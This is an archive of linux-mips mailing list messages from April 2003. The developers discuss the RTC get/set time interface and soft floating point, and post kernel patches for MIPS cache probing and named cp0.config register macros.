Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2047
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: geert@linux-m68k.org
Precedence: bulk
X-list: linux-mips

	Hi,

Is there any specific reason why the function pointers rtc_[gs]et_time() use
seconds instead of struct rtc_time? Most RTCs store the date and time in a
format similar to struct rtc_time, so they have to convert from seconds to
struct rtc_time again. I found only 2 exceptions, namely the vr4181 RTC and the
Lasat ds1630 RTC (BTW, I found no RTC driver for vr41xx, since
vr41xx_rtc_get_time() is nowhere defined).

This makes it more complex to make drivers/char/genrtc.c work on MIPS, since 
usually the date and time have to be converted twice: once from struct rtc_time
to seconds in <asm/rtc.h>, and once from seconds to struct rtc_time in each RTC
driver.

Is it OK to make rtc_[gs]et_time() always use struct rtc_time?

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds


From brian@murphy.dk Tue Apr 15 10:09:55 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 10:09:56 +0100 (BST)
Received: from port48.ds1-vbr.adsl.cybercity.dk ([IPv6:::ffff:212.242.58.113]:9256
	"EHLO valis.localnet") by linux-mips.org with ESMTP
	id <S8225202AbTDOJJz>; Tue, 15 Apr 2003 10:09:55 +0100
Received: from murphy.dk (brm@brian.localnet [10.0.0.2])
	by valis.localnet (8.12.7/8.12.7/Debian-2) with ESMTP id h3F99har010521;
	Tue, 15 Apr 2003 11:09:43 +0200
Message-ID: <3E9BCC57.5070809@murphy.dk>
Date: Tue, 15 Apr 2003 11:09:43 +0200
From: Brian Murphy <brian@murphy.dk>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1
MIME-Version: 1.0
To: Geert Uytterhoeven <geert@linux-m68k.org>
CC: Linux/MIPS Development <linux-mips@linux-mips.org>
Subject: Re: rtc_[gs]et_time()
References: <Pine.GSO.4.21.0304151021320.26578-100000@vervain.sonytel.be>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Return-Path: <brian@murphy.dk>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2048
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: brian@murphy.dk
Precedence: bulk
X-list: linux-mips

Geert Uytterhoeven wrote:

>This makes it more complex to make drivers/char/genrtc.c work on MIPS, since 
>usually the date and time have to be converted twice: once from struct rtc_time
>to seconds in <asm/rtc.h>, and once from seconds to struct rtc_time in each RTC
>driver.
>
>Is it OK to make rtc_[gs]et_time() always use struct rtc_time?
>
>  
>
I quite like it the way it is ;-).

/Brian

LASAT port maintainer.


From ladis@linux-mips.org Tue Apr 15 10:12:38 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 10:12:38 +0100 (BST)
Received: (from localhost user: 'ladis' uid#10009 fake: STDIN
	(ladis@3ffe:8260:2028:fffe::1)) by linux-mips.org
	id <S8225202AbTDOJMi>; Tue, 15 Apr 2003 10:12:38 +0100
Date: Tue, 15 Apr 2003 10:12:38 +0100
From: Ladislav Michl <ladis@linux-mips.org>
To: Brian Murphy <brian@murphy.dk>
Cc: Geert Uytterhoeven <geert@linux-m68k.org>,
	Linux/MIPS Development <linux-mips@linux-mips.org>
Subject: Re: rtc_[gs]et_time()
Message-ID: <20030415101238.C29593@ftp.linux-mips.org>
References: <Pine.GSO.4.21.0304151021320.26578-100000@vervain.sonytel.be> <3E9BCC57.5070809@murphy.dk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3E9BCC57.5070809@murphy.dk>; from brian@murphy.dk on Tue, Apr 15, 2003 at 11:09:43AM +0200
Return-Path: <ladis@linux-mips.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2049
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ladis@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Tue, Apr 15, 2003 at 11:09:43AM +0200, Brian Murphy wrote:
> Geert Uytterhoeven wrote:
> 
> >This makes it more complex to make drivers/char/genrtc.c work on MIPS, since 
> >usually the date and time have to be converted twice: once from struct rtc_time
> >to seconds in <asm/rtc.h>, and once from seconds to struct rtc_time in each RTC
> >driver.
> >
> >Is it OK to make rtc_[gs]et_time() always use struct rtc_time?
> >
> I quite like it the way it is ;-)

While I would like to see rtc_[gs]et_time() always use struct rtc_time ;)

	ladis

From dom@mips.com Tue Apr 15 11:56:46 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 11:56:48 +0100 (BST)
Received: from alg145.algor.co.uk ([IPv6:::ffff:62.254.210.145]:41484 "EHLO
	dmz.algor.co.uk") by linux-mips.org with ESMTP id <S8225202AbTDOK4q>;
	Tue, 15 Apr 2003 11:56:46 +0100
Received: from alg158.algor.co.uk ([62.254.210.158] helo=olympia.mips.com)
	by dmz.algor.co.uk with esmtp (Exim 3.35 #1 (Debian))
	id 195OC3-0007Cw-00; Tue, 15 Apr 2003 12:01:39 +0100
Received: from gladsmuir.algor.co.uk ([172.20.192.66] helo=gladsmuir.mips.com)
	by olympia.mips.com with esmtp (Exim 3.36 #1 (Debian))
	id 195O6T-0007BP-00; Tue, 15 Apr 2003 11:55:53 +0100
From: Dominic Sweetman <dom@mips.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <16027.58679.576152.853200@gladsmuir.mips.com>
Date: Tue, 15 Apr 2003 11:55:51 +0100
To: Dennis Castleman <DennisCastleman@oaktech.com>
Cc: "'Ralf Baechle'" <ralf@linux-mips.org>, linux-mips@linux-mips.org,
	Gus Fernandez <GusFernandez@oaktech.com>
Subject: Re: Soft floating point on 5K
In-Reply-To: <56BEF0DBC8B9D611BFDB00508B5E2634102F07@TLEXMAIL>
References: <56BEF0DBC8B9D611BFDB00508B5E2634102F07@TLEXMAIL>
X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid
X-MTUK-Scanner: Found to be clean
X-MTUK-SpamCheck: not spam, SpamAssassin (score=-2, required 4.5, AWL,
	EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES,
	SPAM_PHRASE_00_01)
Return-Path: <dom@mips.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2050
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: dom@mips.com
Precedence: bulk
X-list: linux-mips


Dennis Castleman (DennisCastleman@oaktech.com) writes:

> I'm trying to run soft-floating point functions on a r5000 core with
> a FPU. Without having to take the overhead of using a trap.  Using
> the files fp-bit.c and dp-bit.c from the gcc source as a floating
> point lib.  This implementation lack in accuracy in the least
> signeficant bit multiplication in division operations.

There's an IEEE-compatible set of software floating point routines in
the Linux kernel, invoked by the trap handler.  The routines were
donated by Algorithmics (now part of MIPS Technologies).

If you wrapped them in the appropriate GCC skins, they should give you
a soft-float library which works better.

--
Dominic Sweetman
dom@mips.com


From macro@ds2.pg.gda.pl Tue Apr 15 13:52:20 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 13:52:20 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:24527 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225202AbTDOMwU>; Tue, 15 Apr 2003 13:52:20 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id OAA14698;
	Tue, 15 Apr 2003 14:52:54 +0200 (MET DST)
Date: Tue, 15 Apr 2003 14:52:53 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: Ladislav Michl <ladis@linux-mips.org>
cc: Brian Murphy <brian@murphy.dk>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Linux/MIPS Development <linux-mips@linux-mips.org>
Subject: Re: rtc_[gs]et_time()
In-Reply-To: <20030415101238.C29593@ftp.linux-mips.org>
Message-ID: <Pine.GSO.3.96.1030415143703.13254D-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2051
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Tue, 15 Apr 2003, Ladislav Michl wrote:

> > >This makes it more complex to make drivers/char/genrtc.c work on MIPS, since 
> > >usually the date and time have to be converted twice: once from struct rtc_time
> > >to seconds in <asm/rtc.h>, and once from seconds to struct rtc_time in each RTC
> > >driver.
> > >
> > >Is it OK to make rtc_[gs]et_time() always use struct rtc_time?
> > >
> > I quite like it the way it is ;-)
> 
> While I would like to see rtc_[gs]et_time() always use struct rtc_time ;)

 Note that the system time is always a monotonic count of seconds (plus a
fractional part), but the format stored in RTC chips varies.  So I think
it should be passed unchanged and the convertion left up to specific
drivers, possibly with an aid for ones that closely match 'struct
rtc_time' by means of library or inline helper functions. 

 E.g. one of the yet unsupported DECstations uses a 32bit register
counting 10ms intervals as its RTC (or actually TOY).  So maybe it's
'struct timespec' that should really be passed... 

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From chris@mips.com Tue Apr 15 14:01:47 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 14:01:49 +0100 (BST)
Received: from alg145.algor.co.uk ([IPv6:::ffff:62.254.210.145]:22285 "EHLO
	dmz.algor.co.uk") by linux-mips.org with ESMTP id <S8225202AbTDONBr>;
	Tue, 15 Apr 2003 14:01:47 +0100
Received: from alg158.algor.co.uk ([62.254.210.158] helo=olympia.mips.com)
	by dmz.algor.co.uk with esmtp (Exim 3.35 #1 (Debian))
	id 195Q9M-0000kA-00; Tue, 15 Apr 2003 14:07:00 +0100
Received: from angel.algor.co.uk ([192.168.192.234] helo=mips.com)
	by olympia.mips.com with esmtp (Exim 3.36 #1 (Debian))
	id 195Q41-0001Ax-00; Tue, 15 Apr 2003 14:01:29 +0100
Message-ID: <3E9C02A8.4090008@mips.com>
Date: Tue, 15 Apr 2003 14:01:28 +0100
From: Chris Dearman <chris@mips.com>
Organization: MIPS Technologies (UK) Ltd
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Ralf Baechle <ralf@linux-mips.org>
CC: linux-mips@linux-mips.org
Subject: [PATCH] waybit not set for MIPS32/MIPS64 caches
Content-Type: multipart/mixed;
 boundary="------------000008030401030400010504"
X-MTUK-Scanner: Found to be clean
X-MTUK-SpamCheck: not spam, SpamAssassin (score=-1.4, required 4.5, AWL,
	NOSPAM_INC, PATCH_UNIFIED_DIFF, SPAM_PHRASE_00_01, USER_AGENT,
	USER_AGENT_MOZILLA_UA, X_ACCEPT_LANG)
Return-Path: <chris@mips.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2052
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: chris@mips.com
Precedence: bulk
X-list: linux-mips

This is a multi-part message in MIME format.
--------------000008030401030400010504
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi Ralf,
   The unified cache code (c-r4k.c) does not set the waybit for 
MIPS32/MIPS64 processors.  This patch needs to be applied to 
{mips,mips64}/mm/c-r4k.c in 2.4 and 2.5.

	Chris

-- 
Chris Dearman          The Fruit Farm, Ely Road    voice +44 1223 706206
MIPS Technologies (UK) Chittering, Cambs, CB5 9PH  fax   +44 1223 706250

--------------000008030401030400010504
Content-Type: text/plain;
 name="cache.diffs"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="cache.diffs"

Index: arch/mips/mm/c-r4k.c
===================================================================
RCS file: /home/cvs/linux/arch/mips/mm/c-r4k.c,v
retrieving revision 1.3.2.40
diff -u -r1.3.2.40 c-r4k.c
--- arch/mips/mm/c-r4k.c	14 Apr 2003 03:49:59 -0000	1.3.2.40
+++ arch/mips/mm/c-r4k.c	15 Apr 2003 12:47:58 -0000
@@ -738,6 +738,7 @@
 		icache_size = c->icache.sets *
 		              c->icache.ways *
 		              c->icache.linesz;
+		c->icache.waybit = ffs(icache_size/c->icache.ways) - 1;
 
 		/*
 		 * Now probe the MIPS32 / MIPS64 data cache.
@@ -754,6 +755,7 @@
 		dcache_size = c->dcache.sets *
 		              c->dcache.ways *
 		              c->dcache.linesz;
+		c->dcache.waybit = ffs(dcache_size/c->dcache.ways) - 1;
 		break;
 	}
 

--------------000008030401030400010504--


From macro@ds2.pg.gda.pl Tue Apr 15 15:06:39 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 15:06:41 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:62161 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225262AbTDOOGj>; Tue, 15 Apr 2003 15:06:39 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id QAA15755;
	Tue, 15 Apr 2003 16:07:18 +0200 (MET DST)
Date: Tue, 15 Apr 2003 16:07:18 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: Ralf Baechle <ralf@linux-mips.org>
cc: linux-mips@linux-mips.org
Subject: [patch] cp0.config access macros
Message-ID: <Pine.GSO.3.96.1030415155224.13254F-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2053
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

Ralf,

 Cryptic cp0.config accesses using hardcoded numbers are scattered through
the sources.  I propose adding a few definitions to improve readability
and ease grepping the sources.  This is for solely for cp0.config now -- I
fixed all references I had docs handy for.  The next step should probably
be cp0.config1.

 Beside that, the following patch fixes cache size units to be kilobytes
instead of kilobits and fixes the R4000SC erratum #5 trigger. 

 OK?

  Maciej 

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +

patch-mips-2.4.21-pre4-20030414-c-rxk-6
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/kernel/cpu-probe.c linux-mips-2.4.21-pre4-20030414/arch/mips/kernel/cpu-probe.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/kernel/cpu-probe.c	2003-04-13 02:56:50.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/kernel/cpu-probe.c	2003-04-14 23:44:24.000000000 +0000
@@ -18,7 +18,7 @@ void (*cpu_wait)(void) = NULL;
 static void r3081_wait(void)
 {
 	unsigned long cfg = read_c0_conf();
-	write_c0_conf(cfg | CONF_HALT);
+	write_c0_conf(cfg | R30XX_CONF_HALT);
 }
 
 static void r39xx_wait(void)
@@ -108,7 +108,7 @@ static inline int cpu_has_confreg(void)
 	unsigned long cfg = read_c0_conf();
 
 	size1 = r3k_cache_size(ST0_ISC);
-	write_c0_conf(cfg ^ CONF_AC);
+	write_c0_conf(cfg ^ R30XX_CONF_AC);
 	size2 = r3k_cache_size(ST0_ISC);
 	write_c0_conf(cfg);
 	return size1 != size2;
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/mm/c-r3k.c linux-mips-2.4.21-pre4-20030414/arch/mips/mm/c-r3k.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/mm/c-r3k.c	2003-04-13 02:56:51.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/mm/c-r3k.c	2003-04-14 22:10:06.000000000 +0000
@@ -7,6 +7,7 @@
  * Tx39XX R4k style caches added. HK
  * Copyright (C) 1998, 1999, 2000 Harald Koerfgen
  * Copyright (C) 1998 Gleb Raiko & Vladimir Roganov
+ * Copyright (C) 2001  Maciej W. Rozycki
  */
 #include <linux/init.h>
 #include <linux/kernel.h>
@@ -100,7 +101,6 @@ static void __init r3k_probe_cache(void)
 	if (dcache_size)
 		dcache_lsize = r3k_cache_lsize(ST0_ISC);
 
-
 	icache_size = r3k_cache_size(ST0_ISC|ST0_SWC);
 	if (icache_size)
 		icache_lsize = r3k_cache_lsize(ST0_ISC|ST0_SWC);
@@ -339,8 +339,8 @@ void __init ld_mmu_r23000(void)
 
 	_dma_cache_wback_inv = r3k_dma_cache_wback_inv;
 
-	printk("Primary instruction cache %dkb, linesize %d bytes\n",
-		(int) (icache_size >> 10), (int) icache_lsize);
-	printk("Primary data cache %dkb, linesize %d bytes\n",
-		(int) (dcache_size >> 10), (int) dcache_lsize);
+	printk("Primary instruction cache %ldkB, linesize %ld bytes.\n",
+		icache_size >> 10, icache_lsize);
+	printk("Primary data cache %ldkB, linesize %ld bytes.\n",
+		dcache_size >> 10, dcache_lsize);
 }
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/mm/c-r4k.c linux-mips-2.4.21-pre4-20030414/arch/mips/mm/c-r4k.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/mm/c-r4k.c	2003-04-14 02:56:57.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/mm/c-r4k.c	2003-04-15 08:08:38.000000000 +0000
@@ -673,6 +673,7 @@ static void __init probe_pcache(void)
 {
 	struct cpuinfo_mips *c = &current_cpu_data;
 	unsigned int config = read_c0_config();
+	unsigned int prid = read_c0_prid();
 	unsigned long config1;
 	unsigned int lsize;
 
@@ -681,38 +682,38 @@ static void __init probe_pcache(void)
 	case CPU_R4700:
 	case CPU_R5000:
 	case CPU_NEVADA:
-		icache_size = 1 << (12 + ((config >> 9) & 7));
-		c->icache.linesz = 16 << ((config >> 5) & 1);
+		icache_size = 1 << (12 + ((config & CONF_IC) >> 9));
+		c->icache.linesz = 16 << ((config & CONF_IB) >> 5);
 		c->icache.ways = 2;
 		c->icache.waybit = ffs(icache_size/2) - 1;
 
-		dcache_size = 1 << (12 + ((config >> 6) & 7));
-		c->dcache.linesz = 16 << ((config >> 4) & 1);
+		dcache_size = 1 << (12 + ((config & CONF_DC) >> 6));
+		c->dcache.linesz = 16 << ((config & CONF_DB) >> 4);
 		c->dcache.ways = 2;
 		c->dcache.waybit= ffs(dcache_size/2) - 1;
 		break;
 
 	case CPU_R5432:
 	case CPU_R5500:
-		icache_size = 1 << (12 + ((config >> 9) & 7));
-		c->icache.linesz = 16 << ((config >> 5) & 1);
+		icache_size = 1 << (12 + ((config & CONF_IC) >> 9));
+		c->icache.linesz = 16 << ((config & CONF_IB) >> 5);
 		c->icache.ways = 2;
 		c->icache.waybit= 0;
 
-		dcache_size = 1 << (12 + ((config >> 6) & 7));
-		c->dcache.linesz = 16 << ((config >> 4) & 1);
+		dcache_size = 1 << (12 + ((config & CONF_DC) >> 6));
+		c->dcache.linesz = 16 << ((config & CONF_DB) >> 4);
 		c->dcache.ways = 2;
 		c->dcache.waybit = 0;
 		break;
 
 	case CPU_TX49XX:
-		icache_size = 1 << (12 + ((config >> 9) & 7));
-		c->icache.linesz = 16 << ((config >> 5) & 1);
+		icache_size = 1 << (12 + ((config & CONF_IC) >> 9));
+		c->icache.linesz = 16 << ((config & CONF_IB) >> 5);
 		c->icache.ways = 4;
 		c->icache.waybit= 0;
 
-		dcache_size = 1 << (12 + ((config >> 6) & 7));
-		c->dcache.linesz = 16 << ((config >> 4) & 1);
+		dcache_size = 1 << (12 + ((config & CONF_DC) >> 6));
+		c->dcache.linesz = 16 << ((config & CONF_DB) >> 4);
 		c->dcache.ways = 4;
 		c->dcache.waybit = 0;
 		break;
@@ -723,25 +724,25 @@ static void __init probe_pcache(void)
 	case CPU_R4400PC:
 	case CPU_R4400SC:
 	case CPU_R4400MC:
-		icache_size = 1 << (12 + ((config >> 9) & 7));
-		c->icache.linesz = 16 << ((config >> 5) & 1);
+		icache_size = 1 << (12 + ((config & CONF_IC) >> 9));
+		c->icache.linesz = 16 << ((config & CONF_IB) >> 5);
 		c->icache.ways = 1;
 		c->icache.waybit = 0; 	/* doesn't matter */
 
-		dcache_size = 1 << (12 + ((config >> 6) & 7));
-		c->dcache.linesz = 16 << ((config >> 4) & 1);
+		dcache_size = 1 << (12 + ((config & CONF_DC) >> 6));
+		c->dcache.linesz = 16 << ((config & CONF_DB) >> 4);
 		c->dcache.ways = 1;
 		c->dcache.waybit = 0;	/* does not matter */
 		break;
 
 	case CPU_VR4131:
-		icache_size = 1 << (10 + ((config >> 9) & 7));
-		c->icache.linesz = 16 << ((config >> 5) & 1);
+		icache_size = 1 << (10 + ((config & CONF_IC) >> 9));
+		c->icache.linesz = 16 << ((config & CONF_IB) >> 5);
 		c->icache.ways = 2;
 		c->icache.waybit = ffs(icache_size/2) - 1;
 
-		dcache_size = 1 << (10 + ((config >> 6) & 7));
-		c->dcache.linesz = 16 << ((config >> 4) & 1);
+		dcache_size = 1 << (10 + ((config & CONF_DC) >> 6));
+		c->dcache.linesz = 16 << ((config & CONF_DB) >> 4);
 		c->dcache.ways = 2;
 		c->dcache.waybit = ffs(dcache_size/2) - 1;
 		break;
@@ -752,19 +753,19 @@ static void __init probe_pcache(void)
 	case CPU_VR4122:
 	case CPU_VR4181:
 	case CPU_VR4181A:
-		icache_size = 1 << (10 + ((config >> 9) & 7));
-		c->icache.linesz = 16 << ((config >> 5) & 1);
+		icache_size = 1 << (10 + ((config & CONF_IC) >> 9));
+		c->icache.linesz = 16 << ((config & CONF_IB) >> 5);
 		c->icache.ways = 1;
 		c->icache.waybit = 0; 	/* doesn't matter */
 
-		dcache_size = 1 << (10 + ((config >> 6) & 7));
-		c->dcache.linesz = 16 << ((config >> 4) & 1);
+		dcache_size = 1 << (10 + ((config & CONF_DC) >> 6));
+		c->dcache.linesz = 16 << ((config & CONF_DB) >> 4);
 		c->dcache.ways = 1;
 		c->dcache.waybit = 0;	/* does not matter */
 		break;
 
 	default:
-		if (!(config & 0x80000000))
+		if (!(config & MIPS_CONF_M))
 			panic("Don't know how to probe P-caches on this cpu.");
 
 		/*
@@ -803,16 +804,17 @@ static void __init probe_pcache(void)
 	}
 
 	/*
-	 * Processor configuration sanity check for the R4000SC V2.2
-	 * erratum #5.  With pagesizes larger than 32kb there is no possibility
+	 * Processor configuration sanity check for the R4000SC erratum
+	 * #5.  With page sizes larger than 32kB there is no possibility
 	 * to get a VCE exception anymore so we don't care about this
-	 * missconfiguration.  The case is rather theoretical anway; presumably
-	 * no vendor is shipping his hardware in the "bad" configuration.
+	 * misconfiguration.  The case is rather theoretical anyway;
+	 * presumably no vendor is shipping his hardware in the "bad"
+	 * configuration.
 	 */
-	if (PAGE_SIZE <= 0x8000 && read_c0_prid() == 0x0422 &&
-	    (read_c0_config() & CONF_SC) &&
-	     c->icache.linesz != 16)
-		panic("Impropper processor configuration detected");
+	if ((prid & 0xff00) == PRID_IMP_R4000 && (prid & 0xff) < 0x40 &&
+	    !(config & CONF_SC) && c->icache.linesz != 16 &&
+	    PAGE_SIZE <= 0x8000)
+		panic("Improper R4000SC processor configuration detected");
 
 	/* compute a couple of other cache variables */
 	icache_way_size = icache_size / c->icache.ways;
@@ -840,12 +842,12 @@ static void __init probe_pcache(void)
 		break;
 	}
 
-	printk("Primary instruction cache %ldkb, %s, %s, linesize %d bytes\n",
+	printk("Primary instruction cache %ldkB, %s, %s, linesize %d bytes.\n",
 	       icache_size >> 10,
 	       cpu_has_vtag_icache ? "virtually tagged" : "physically tagged",
 	       way_string[c->icache.ways], c->icache.linesz);
 
-	printk("Primary data cache %ldkb %s, linesize %d bytes\n",
+	printk("Primary data cache %ldkB %s, linesize %d bytes.\n",
 	       dcache_size >> 10, way_string[c->dcache.ways], c->dcache.linesz);
 }
 
@@ -862,10 +864,10 @@ static int __init probe_scache(void)
 	unsigned int config = read_c0_config();
 	int tmp;
 
-	if ((config >> 17) & 1)
+	if (config & CONF_SC)
 		return 0;
 
-	sc_lsize = 16 << ((config >> 22) & 3);
+	sc_lsize = 16 << ((config & R4K_CONF_SB) >> 22);
 
 	begin = (unsigned long) &stext;
 	begin &= ~((4 * 1024 * 1024) - 1);
@@ -905,7 +907,7 @@ static int __init probe_scache(void)
 	}
 	local_irq_restore(flags);
 	addr -= begin;
-	printk("Secondary cache sized at %ldK, linesize %ld bytes.\n",
+	printk("Secondary cache sized at %ldkB, linesize %ld bytes.\n",
 	       addr >> 10, sc_lsize);
 	scache_size = addr;
 
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips/mm/r5k-sc.c linux-mips-2.4.21-pre4-20030414/arch/mips/mm/r5k-sc.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips/mm/r5k-sc.c	2003-03-25 03:56:41.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips/mm/r5k-sc.c	2003-04-15 00:03:28.000000000 +0000
@@ -9,11 +9,11 @@
 
 #include <asm/mipsregs.h>
 #include <asm/bcache.h>
+#include <asm/cacheops.h>
 #include <asm/page.h>
 #include <asm/pgtable.h>
 #include <asm/system.h>
 #include <asm/mmu_context.h>
-#include <asm/cacheops.h>
 
 /* Secondary cache size in bytes, if present.  */
 static unsigned long scache_size;
@@ -69,7 +69,7 @@ static void r5k_sc_enable(void)
         unsigned long flags;
 
 	local_irq_save(flags);
-	change_c0_config(CONF_SE, CONF_SE);
+	change_c0_config(R5K_CONF_SE, R5K_CONF_SE);
 	blast_r5000_scache();
 	local_irq_restore(flags);
 }
@@ -80,7 +80,7 @@ static void r5k_sc_disable(void)
 
 	local_irq_save(flags);
 	blast_r5000_scache();
-	change_c0_config(CONF_SE, 0);
+	change_c0_config(R5K_CONF_SE, 0);
 	local_irq_restore(flags);
 }
 
@@ -88,12 +88,12 @@ static inline int __init r5k_sc_probe(vo
 {
 	unsigned long config = read_c0_config();
 
-	if(config & CONF_SC)
+	if (config & CONF_SC)
 		return(0);
 
-	scache_size = (512*1024) << ((config >> 20)&3);
+	scache_size = (512 * 1024) << ((config & R5K_CONF_SS) >> 20);
 
-	printk("R5000 SCACHE size %ldK, linesize 32 bytes.\n",
+	printk("R5000 SCACHE size %ldkB, linesize 32 bytes.\n",
 			scache_size >> 10);
 
 	return 1;
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips64/kernel/cpu-probe.c linux-mips-2.4.21-pre4-20030414/arch/mips64/kernel/cpu-probe.c
--- linux-mips-2.4.21-pre4-20030414.macro/arch/mips64/kernel/cpu-probe.c	2003-04-13 02:56:56.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030414/arch/mips64/kernel/cpu-probe.c	2003-04-15 00:00:37.000000000 +0000
@@ -35,7 +35,7 @@ void (*cpu_wait)(void) = NULL;
 static void r3081_wait(void)
 {
 	unsigned long cfg = read_c0_conf();
-	write_c0_conf(cfg | CONF_HALT);
+	write_c0_conf(cfg | R30XX_CONF_HALT);
 }
 
 static void r39xx_wait(void)
@@ -347,7 +347,7 @@ static inline int cpu_has_confreg(void)
 	unsigned long cfg = read_c0_conf();
 
 	size1 = r3k_cache_size(ST0_ISC);
-	write_c0_conf(cfg ^ CONF_AC);
+	write_c0_conf(cfg ^ R30XX_CONF_AC);
 	size2 = r3k_cache_size(ST0_ISC);
 	write_c0_conf(cfg);
 	return size1 != size2;
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030414.macro/arch/mips64/mm/c-r4k.c linux-mips-2.4.21-pre4-20030414/arch/mips64/mm/c-r4k.c
